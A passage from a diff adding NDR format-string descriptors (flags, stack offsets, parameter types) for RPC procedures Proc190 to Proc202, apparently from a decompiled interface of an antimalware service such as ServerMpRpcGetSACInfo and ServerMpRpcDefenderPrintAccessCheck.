Stack size/offset = 40 */ +/* 10878 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc190_ServerMpGetTDTFeatureStatus */ + +/* 10880 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10882 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10886 */ NdrFcShort( 0xbe ), /* 190 */ +/* 10888 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10890 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10892 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10894 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10896 */ NdrFcShort( 0x40 ), /* 64 */ +/* 10898 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 10900 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10902 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10904 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10906 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10908 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10910 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10912 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10914 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10916 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10918 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10920 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10922 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10924 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10926 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc191_ServerMpRpcGetDeviceControlSecurityPolicies */ + +/* 10928 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10930 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10934 */ NdrFcShort( 0xbf ), /* 191 */ +/* 10936 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10938 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10940 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10942 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10944 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10946 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10948 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10950 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10952 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10954 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10956 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10958 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 10960 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10962 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_2 */ + +/* 10964 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 10966 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10968 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_3 */ + +/* 10970 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10972 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10974 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10976 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10978 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10980 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc192_ServerMpRpcGetSACInfo */ + +/* 10982 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10984 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10988 */ NdrFcShort( 0xc0 ), /* 192 */ +/* 10990 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10992 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10994 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10996 */ NdrFcShort( 0x8 ), /* 8 */ +/* 10998 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11000 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 11002 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 11004 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11006 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11008 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11010 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11012 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11014 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11016 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11018 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11020 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11022 */ NdrFcShort( 0xdb0 ), /* Type Offset=3504 */ + + /* Parameter arg_3 */ + +/* 11024 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11026 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11028 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11030 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11032 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11034 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc193_ServerMpGetTDTFeatureStatusEx */ + +/* 11036 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11038 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11042 */ NdrFcShort( 0xc1 ), /* 193 */ +/* 11044 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11046 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11048 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11050 */ NdrFcShort( 0x8 ), /* 8 */ +/* 11052 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11054 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 11056 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 11058 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11060 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11062 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11064 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11066 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11068 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11070 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11072 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11074 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11076 */ NdrFcShort( 0xdf0 ), /* Type Offset=3568 */ + + /* Parameter arg_3 */ + +/* 11078 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11080 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11082 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11084 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11086 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11088 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc194_ServerMpRpcGetDeviceControlStatus */ + +/* 11090 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11092 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11096 */ NdrFcShort( 0xc2 ), /* 194 */ +/* 11098 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11100 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11102 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11104 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11106 */ NdrFcShort( 0x68 ), /* 104 */ +/* 11108 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 11110 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11112 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11114 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11116 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11118 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11120 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 11122 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11124 */ NdrFcShort( 0xebc ), /* Type Offset=3772 */ + + /* Parameter arg_2 */ + +/* 11126 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11128 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11130 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11132 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11134 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11136 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo */ + +/* 11138 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11140 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11144 */ NdrFcShort( 0xc3 ), /* 195 */ +/* 11146 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11148 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 11150 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11152 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 11154 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11156 */ NdrFcShort( 0x68 ), /* 104 */ +/* 11158 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 11160 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11162 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11164 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11166 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11168 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 11170 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 11172 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11174 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 11176 */ NdrFcShort( 0x8112 ), /* Flags: must free, out, simple ref, srv alloc size=32 */ +/* 11178 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11180 */ NdrFcShort( 0xecc ), /* Type Offset=3788 */ + + /* Parameter arg_2 */ + +/* 11182 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11184 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11186 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11188 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11190 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11192 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc196_ServerMpDisableXBGM */ + +/* 11194 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11196 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11200 */ NdrFcShort( 0xc4 ), /* 196 */ +/* 11202 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11204 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11206 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11208 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11210 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11212 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 11214 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11216 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11218 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11220 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11222 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11224 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11226 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11228 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11230 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11232 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11234 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc197_ServerMpRpcDefenderPrintAccessCheck */ + +/* 11236 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11238 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11242 */ NdrFcShort( 0xc5 ), /* 197 */ +/* 11244 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 11246 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11248 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11250 */ NdrFcShort( 0x8 ), /* 8 */ +/* 11252 */ NdrFcShort( 0x80 ), /* 128 */ +/* 11254 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 11256 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11258 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11260 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11262 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11264 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11266 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11268 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11270 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11272 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11274 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11276 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 11278 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11280 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11282 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 11284 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11286 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11288 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 11290 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11292 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11294 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 11296 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11298 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11300 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11302 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11304 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 11306 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc198_ServerMpRpcDeviceControlPrintAccessCheck */ + +/* 11308 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11310 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11314 */ NdrFcShort( 0xc6 ), /* 198 */ +/* 11316 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 11318 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11322 */ NdrFcShort( 0x8 ), /* 8 */ +/* 11324 */ NdrFcShort( 0x80 ), /* 128 */ +/* 11326 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x7, /* 7 */ +/* 11328 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11330 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11332 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11334 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11336 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11338 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11340 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11342 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11344 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11346 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11348 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 11350 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11352 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11354 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 11356 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11358 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11360 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 11362 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11364 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11366 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 11368 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11370 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11372 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11374 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11376 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 11378 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc199_ServerMpRpcDefenderPrintDataProvide */ + +/* 11380 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11382 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11386 */ NdrFcShort( 0xc7 ), /* 199 */ +/* 11388 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11390 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11392 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11394 */ NdrFcShort( 0x18 ), /* 24 */ +/* 11396 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11398 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 11400 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 11402 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11404 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11406 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11408 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11410 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11412 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11414 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 11416 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11418 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11420 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 11422 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 11424 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11426 */ NdrFcShort( 0x6c0 ), /* Type Offset=1728 */ + + /* Parameter arg_4 */ + +/* 11428 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11430 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11432 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11434 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11436 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11438 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc200_ServerMpRpcDeviceControlAuthenticateNetworkShare */ + +/* 11440 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11442 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11446 */ NdrFcShort( 0xc8 ), /* 200 */ +/* 11448 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 11450 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11452 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11454 */ NdrFcShort( 0x8 ), /* 8 */ +/* 11456 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11458 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 11460 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 11462 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11464 */ NdrFcShort( 0x1 ), /* 1 */ +/* 11466 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11468 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11470 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11472 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11474 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 11476 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11478 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11480 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 11482 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 11484 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11486 */ NdrFcShort( 0x6c0 ), /* Type Offset=1728 */ + + /* Parameter arg_4 */ + +/* 11488 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11490 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11492 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11494 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11496 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11498 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc201_ServerMpRpcApplyTrustLabelAceForMDE */ + +/* 11500 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11502 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11506 */ NdrFcShort( 0xc9 ), /* 201 */ +/* 11508 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 11510 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11512 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11514 */ NdrFcShort( 0x8 ), /* 8 */ +/* 11516 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11518 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 11520 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11522 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11524 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11526 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11528 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11530 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 11532 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11534 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 11536 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 11538 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11540 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 11542 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11544 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11546 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11548 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11550 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11552 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc202_ServerMpGetNpSupportFile */ + +/* 11554 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 11556 */ NdrFcLong( 0x0 ), /* 0 */ +/* 11560 */ NdrFcShort( 0xca ), /* 202 */ +/* 11562 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 11564 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 11566 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 11568 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11570 */ NdrFcShort( 0x24 ), /* 36 */ +/* 11572 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x3, /* 3 */ +/* 11574 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 11576 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11578 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11580 */ NdrFcShort( 0x0 ), /* 0 */ +/* 11582 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 11584 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 11586 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 11588 */ NdrFcShort( 0xdac ), /* Type Offset=3500 */ + + /* Parameter arg_2 */ + +/* 11590 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 11592 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 11594 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 11596 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 11598 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 11600 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure 